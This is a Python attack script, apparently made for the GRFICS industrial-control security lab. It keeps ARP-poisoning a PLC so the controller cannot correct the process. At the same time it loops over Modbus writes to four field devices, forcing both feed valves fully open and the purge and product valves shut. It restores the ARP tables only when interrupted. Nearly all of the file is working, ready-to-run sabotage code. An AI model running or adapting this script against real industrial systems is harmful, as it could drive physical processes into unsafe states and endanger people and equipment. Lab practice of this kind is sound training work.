#!/usr/bin/env python

"""
File: GRFICS_bang.py
Desc: Set the registers to values wanted and ARP poison the PLC so it can't correct.
"""
__author__ = '0xRoM'
from scapy.all import Ether, ARP, srp, send
from pyModbusTCP.client import ModbusClient
from multiprocessing import Process
import time
import sys
import os

def _enable_linux_iproute():
    """
    Enables IP route ( IP Forward ) in linux-based distro
    """
    os.system('echo 1 > /proc/sys/net/ipv4/ip_forward')

def get_mac(ip):
    """
    Returns MAC address of any device connected to the network
    If ip is down, returns None instead
    """
    ans, _ = srp(Ether(dst='ff:ff:ff:ff:ff:ff')/ARP(pdst=ip), timeout=3, verbose=0)
    if ans:
        return ans[0][1].src

def spoof(target_ip, host_ip, verbose=True):
    """
    Spoofs `target_ip` saying that we are `host_ip`.
    it is accomplished by changing the ARP cache of the target (poisoning)
    """
    # get the mac address of the target
    target_mac = get_mac(target_ip)
    # craft the arp 'is-at' operation packet, in other words; an ARP response
    # we don't specify 'hwsrc' (source MAC address)
    # because by default, 'hwsrc' is the real MAC address of the sender (ours)
    arp_response = ARP(pdst=target_ip, hwdst=target_mac, psrc=host_ip, op='is-at')
    # send the packet
    # verbose = 0 means that we send the packet without printing any thing
    send(arp_response, verbose=0)
    if verbose:
        # get the MAC address of the default interface we are using
        self_mac = ARP().hwsrc
        print("[+] Sent to {} : {} is-at {}".format(target_ip, host_ip, self_mac))

def restore(target_ip, host_ip, verbose=True):
    """
    Restores the normal process of a regular network
    This is done by sending the original informations 
    (real IP and MAC of `host_ip` ) to `target_ip`
    """
    # get the real MAC address of target
    target_mac = get_mac(target_ip)
    # get the real MAC address of spoofed (gateway, i.e router)
    host_mac = get_mac(host_ip)
    # crafting the restoring packet
    arp_response = ARP(pdst=target_ip, hwdst=target_mac, psrc=host_ip, hwsrc=host_mac)
    # sending the restoring packet
    # to restore the network to its normal process
    # we send each reply seven times for a good measure (count=7)
    send(arp_response, verbose=0, count=7)
    if verbose:
        print("[+] Sent to {} : {} is-at {}".format(target_ip, host_ip, host_mac))

def spoof_wrapper():
    while True:
        spoof(arp_target, arp_host, verbose)

arp_target = "192.168.95.2"
arp_host = "192.168.95.1"
verbose = False
_enable_linux_iproute()

try: 
    p = Process(target=spoof_wrapper)
    p.start()
    #p.join() # wait for it to finish! *yuk*

    while True:

        # set A
        client=ModbusClient(host="192.168.95.10",port=502,auto_open=True,auto_close=True,timeout=10)
        client.write_single_register(1,65535)
        client.close()

        # set B
        client=ModbusClient(host="192.168.95.11",port=502,auto_open=True,auto_close=True,timeout=10)
        client.write_single_register(1,65535)
        client.close()

        # set purge
        client=ModbusClient(host="192.168.95.12",port=502,auto_open=True,auto_close=True,timeout=10)
        client.write_single_register(1,0)
        client.close()

        # set product
        client=ModbusClient(host="192.168.95.13",port=502,auto_open=True,auto_close=True,timeout=10)
        client.write_single_register(1,0)
        client.close()

        #time.sleep(0.2)

except KeyboardInterrupt:
        print("[!] Detected CTRL+C ! restoring the network, please wait...")
        restore(arp_target, arp_host)
